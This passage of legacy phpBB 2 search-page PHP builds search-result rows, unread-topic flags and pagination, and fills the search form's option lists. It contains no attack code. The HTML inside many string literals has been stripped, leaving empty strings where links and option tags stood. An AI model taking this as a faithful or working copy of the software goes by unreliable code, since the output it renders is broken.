$images['icon_minipost_new']; $mini_post_alt = $lang['New_post']; } else { $mini_post_img = $images['icon_minipost']; $mini_post_alt = $lang['Post']; } } else { $mini_post_img = $images['icon_minipost']; $mini_post_alt = $lang['Post']; } $template->assign_block_vars("searchresults", array( 'TOPIC_TITLE' => $topic_title, 'FORUM_NAME' => $searchset[$i]['forum_name'], 'POST_SUBJECT' => $post_subject, 'POST_DATE' => $post_date, 'POSTER_NAME' => $poster, 'TOPIC_REPLIES' => $searchset[$i]['topic_replies'], 'TOPIC_VIEWS' => $searchset[$i]['topic_views'], 'MESSAGE' => $message, 'MINI_POST_IMG' => $mini_post_img, 'L_MINI_POST_ALT' => $mini_post_alt, 'U_POST' => $post_url, 'U_TOPIC' => $topic_url, 'U_FORUM' => $forum_url) ); } else { $message = ''; if ( count($orig_word) ) { $topic_title = preg_replace($orig_word, $replacement_word, $searchset[$i]['topic_title']); } $topic_type = $searchset[$i]['topic_type']; if ($topic_type == POST_ANNOUNCE) { $topic_type = $lang['Topic_Announcement'] . ' '; } else if ($topic_type == POST_STICKY) { $topic_type = $lang['Topic_Sticky'] . ' '; } else { $topic_type = ''; } if ( $searchset[$i]['topic_vote'] ) { $topic_type .= $lang['Topic_Poll'] . ' '; } $views = $searchset[$i]['topic_views']; $replies = $searchset[$i]['topic_replies']; if ( ( $replies + 1 ) > $board_config['posts_per_page'] ) { $total_pages = ceil( ( $replies + 1 ) / $board_config['posts_per_page'] ); $goto_page = ' [ ' . $lang['Goto_page'] . ': '; $times = 1; for($j = 0; $j < $replies + 1; $j += $board_config['posts_per_page']) { $goto_page .= '' . $times . ''; if ( $times == 1 && $total_pages > 4 ) { $goto_page .= ' ... '; $times = $total_pages - 3; $j += ( $total_pages - 4 ) * $board_config['posts_per_page']; } else if ( $times < $total_pages ) { $goto_page .= ', '; } $times++; } $goto_page .= ' ] '; } else { $goto_page = ''; } if ( $searchset[$i]['topic_status'] == TOPIC_MOVED ) { $topic_type = $lang['Topic_Moved'] . ' '; $topic_id = $searchset[$i]['topic_moved_id']; $folder_image = ''; $newest_post_img = ''; } else { if ( $searchset[$i]['topic_status'] == TOPIC_LOCKED ) { $folder = $images['folder_locked']; $folder_new = $images['folder_locked_new']; } else if ( $searchset[$i]['topic_type'] == POST_ANNOUNCE ) { $folder = $images['folder_announce']; $folder_new = $images['folder_announce_new']; } else if ( $searchset[$i]['topic_type'] == POST_STICKY ) { $folder = $images['folder_sticky']; $folder_new = $images['folder_sticky_new']; } else { if ( $replies >= $board_config['hot_threshold'] ) { $folder = $images['folder_hot']; $folder_new = $images['folder_hot_new']; } else { $folder = $images['folder']; $folder_new = $images['folder_new']; } } if ( $userdata['session_logged_in'] ) { if ( $searchset[$i]['post_time'] > $userdata['user_lastvisit'] ) { if ( !empty($tracking_topics) || !empty($tracking_forums) || isset($HTTP_COOKIE_VARS[$board_config['cookie_name'] . '_f_all']) ) { $unread_topics = true; if ( !empty($tracking_topics[$topic_id]) ) { if ( $tracking_topics[$topic_id] > $searchset[$i]['post_time'] ) { $unread_topics = false; } } if ( !empty($tracking_forums[$forum_id]) ) { if ( $tracking_forums[$forum_id] > $searchset[$i]['post_time'] ) { $unread_topics = false; } } if ( isset($HTTP_COOKIE_VARS[$board_config['cookie_name'] . '_f_all']) ) { if ( $HTTP_COOKIE_VARS[$board_config['cookie_name'] . '_f_all'] > $searchset[$i]['post_time'] ) { $unread_topics = false; } } if ( $unread_topics ) { $folder_image = $folder_new; $folder_alt = $lang['New_posts']; $newest_post_img = ' '; } else { $folder_alt = ( $searchset[$i]['topic_status'] == TOPIC_LOCKED ) ? $lang['Topic_locked'] : $lang['No_new_posts']; $folder_image = $folder; $folder_alt = $folder_alt; $newest_post_img = ''; } } else if ( $searchset[$i]['post_time'] > $userdata['user_lastvisit'] ) { $folder_image = $folder_new; $folder_alt = $lang['New_posts']; $newest_post_img = ' '; } else { $folder_image = $folder; $folder_alt = ( $searchset[$i]['topic_status'] == TOPIC_LOCKED ) ? $lang['Topic_locked'] : $lang['No_new_posts']; $newest_post_img = ''; } } else { $folder_image = $folder; $folder_alt = ( $searchset[$i]['topic_status'] == TOPIC_LOCKED ) ? $lang['Topic_locked'] : $lang['No_new_posts']; $newest_post_img = ''; } } else { $folder_image = $folder; $folder_alt = ( $searchset[$i]['topic_status'] == TOPIC_LOCKED ) ? $lang['Topic_locked'] : $lang['No_new_posts']; $newest_post_img = ''; } } $topic_author = ( $searchset[$i]['user_id'] != ANONYMOUS ) ? '' : ''; $topic_author .= ( $searchset[$i]['user_id'] != ANONYMOUS ) ? $searchset[$i]['username'] : ( ( $searchset[$i]['post_username'] != '' ) ? $searchset[$i]['post_username'] : $lang['Guest'] ); $topic_author .= ( $searchset[$i]['user_id'] != ANONYMOUS ) ? '' : ''; $first_post_time = create_date($board_config['default_dateformat'], $searchset[$i]['topic_time'], $board_config['board_timezone']); $last_post_time = create_date($board_config['default_dateformat'], $searchset[$i]['post_time'], $board_config['board_timezone']); $last_post_author = ( $searchset[$i]['id2'] == ANONYMOUS ) ? ( ($searchset[$i]['post_username2'] != '' ) ? $searchset[$i]['post_username2'] . ' ' : $lang['Guest'] . ' ' ) : '' . $searchset[$i]['user2'] . ''; $last_post_url = ''; $template->assign_block_vars('searchresults', array( 'FORUM_NAME' => $searchset[$i]['forum_name'], 'FORUM_ID' => $forum_id, 'TOPIC_ID' => $topic_id, 'FOLDER' => $folder_image, 'NEWEST_POST_IMG' => $newest_post_img, 'TOPIC_FOLDER_IMG' => $folder_image, 'GOTO_PAGE' => $goto_page, 'REPLIES' => $replies, 'TOPIC_TITLE' => $topic_title, 'TOPIC_TYPE' => $topic_type, 'VIEWS' => $views, 'TOPIC_AUTHOR' => $topic_author, 'FIRST_POST_TIME' => $first_post_time, 'LAST_POST_TIME' => $last_post_time, 'LAST_POST_AUTHOR' => $last_post_author, 'LAST_POST_IMG' => $last_post_url, 'L_TOPIC_FOLDER_ALT' => $folder_alt, 'U_VIEW_FORUM' => $forum_url, 'U_VIEW_TOPIC' => $topic_url) ); } } $base_url = "search.$phpEx?search_id=$search_id"; $template->assign_vars(array( 'PAGINATION' => generate_pagination($base_url, $total_match_count, $per_page, $start), 'PAGE_NUMBER' => sprintf($lang['Page_of'], ( floor( $start / $per_page ) + 1 ), ceil( $total_match_count / $per_page )), 'L_AUTHOR' => $lang['Author'], 'L_MESSAGE' => $lang['Message'], 'L_FORUM' => $lang['Forum'], 'L_TOPICS' => $lang['Topics'], 'L_REPLIES' => $lang['Replies'], 'L_VIEWS' => $lang['Views'], 'L_POSTS' => $lang['Posts'], 'L_LASTPOST' => $lang['Last_Post'], 'L_POSTED' => $lang['Posted'], 'L_SUBJECT' => $lang['Subject'], 'L_GOTO_PAGE' => $lang['Goto_page']) ); $template->pparse('body'); include($phpbb_root_path . 'includes/page_tail.'.$phpEx); } else { message_die(GENERAL_MESSAGE, $lang['No_search_match']); } } // // Search forum // $sql = "SELECT c.cat_title, c.cat_id, f.forum_name, f.forum_id FROM " . CATEGORIES_TABLE . " c, " . FORUMS_TABLE . " f WHERE f.cat_id = c.cat_id ORDER BY c.cat_order, f.forum_order"; $result = $db->sql_query($sql); if ( !$result ) { message_die(GENERAL_ERROR, 'Could not obtain forum_name/forum_id', '', __LINE__, __FILE__, $sql); } $is_auth_ary = auth(AUTH_READ, AUTH_LIST_ALL, $userdata); $s_forums = ''; while( $row = $db->sql_fetchrow($result) ) { if ( $is_auth_ary[$row['forum_id']]['auth_read'] ) { $s_forums .= '' . $row['forum_name'] . ''; if ( empty($list_cat[$row['cat_id']]) ) { $list_cat[$row['cat_id']] = $row['cat_title']; } } } if ( $s_forums != '' ) { $s_forums = '' . $lang['All_available'] . '' . $s_forums; // // Category to search // $s_categories = '' . $lang['All_available'] . ''; while( list($cat_id, $cat_title) = @each($list_cat)) { $s_categories .= '' . $cat_title . ''; } } else { message_die(GENERAL_MESSAGE, $lang['No_searchable_forums']); } // // Number of chars returned // $s_characters = '' . $lang['All_available'] . ''; $s_characters .= '0'; $s_characters .= '25'; $s_characters .= '50'; for($i = 100; $i < 1100 ; $i += 100) { $selected = ( $i == 200 ) ? ' selected="selected"' : ''; $s_characters .= '' . $i . ''; } // // Sorting // $s_sort_by = ""; for($i = 0; $i < count($sort_by_types); $i++) { $s_sort_by .= '' . $sort_by_types[$i] . ''; } // // Search time // $previous_days = array(0, 1, 7, 14, 30, 90, 180, 364); $previous_days_text = array($lang['All_Posts'], $lang['1_Day'], $lang['7_Days'], $lang['2_Weeks'], $lang['1_Month'], $lang['3_Months'], $lang['6_Months'], $lang['1_Year']); $s_time = ''; for($i = 0; $i < count($previous_days); $i++) { $selected = ( $topic_days == $previous_days[$i] ) ? ' selected="selected"' : ''; $s_time .= '' . $previous_days_text[$i] . ''; } // // Output the basic page // $page_title = $lang['Search']; include($phpbb_root_path . 'includes/page_header.'.$phpEx); $template->set_filenames(array( 'body' => 'search_body.tpl') ); make_jumpbox('viewforum.'.$phpEx); $template->assign_vars(array( 'L_SEARCH_QUERY' => $lang['Search_query'], 'L_SEARCH_OPTIONS' => $lang['Search_options'], 'L_SEARCH_KEYWORDS' => $lang['Search_keywords'], 'L_SEARCH_KEYWORDS_EXPLAIN' => $lang['Search_keywords_explain'], 'L_SEARCH_AUTHOR' => $lang['Search_author'], 'L_SEARCH_AUTHOR_EXPLAIN' => $lang['Search_author_explain'], 'L_SEARCH_ANY_TERMS' => $lang['Search_for_any'], 'L_SEARCH_ALL_TERMS' => $lang['Search_for_all'], 'L_SEARCH_MESSAGE_ONLY' => $lang['Search_msg_only'], 'L_SEARCH_MESSAGE_TITLE' => $lang['Search_title_msg'], 'L_CATEGORY' => $lang['Category'], 'L_RETURN_FIRST' => $lang['Return_first'], 'L_CHARACTERS' => $lang['characters_posts'], 'L_SORT_BY' => $lang['Sort_by'], 'L_SORT_ASCENDING' => $lang['Sort_Ascending'], 'L_SORT_DESCENDING' => $lang['Sort_Descending'], 'L_SEARCH_PREVIOUS' => $lang['Search_previous'], 'L_DISPLAY_RESULTS' => $lang['Display_results'], 'L_FORUM' => $lang['Forum'], 'L_TOPICS' => $lang['Topics'], 'L_POSTS' => $lang['Posts'], 'S_SEARCH_ACTION' => append_sid("search.$phpEx?mode=results"), 'S_CHARACTER_OPTIONS' => $s_characters, 'S_FORUM_OPTIONS' => $s_forums, 'S_CATEGORY_OPTIONS' => $s_categories, 'S_TIME_OPTIONS' => $s_time, 'S_SORT_OPTIONS' => $s_sort_by, 'S_HIDDEN_FIELDS' => '') ); $template->pparse('body'); include($phpbb_root_path . 'includes/page_tail.'.$phpEx); ?>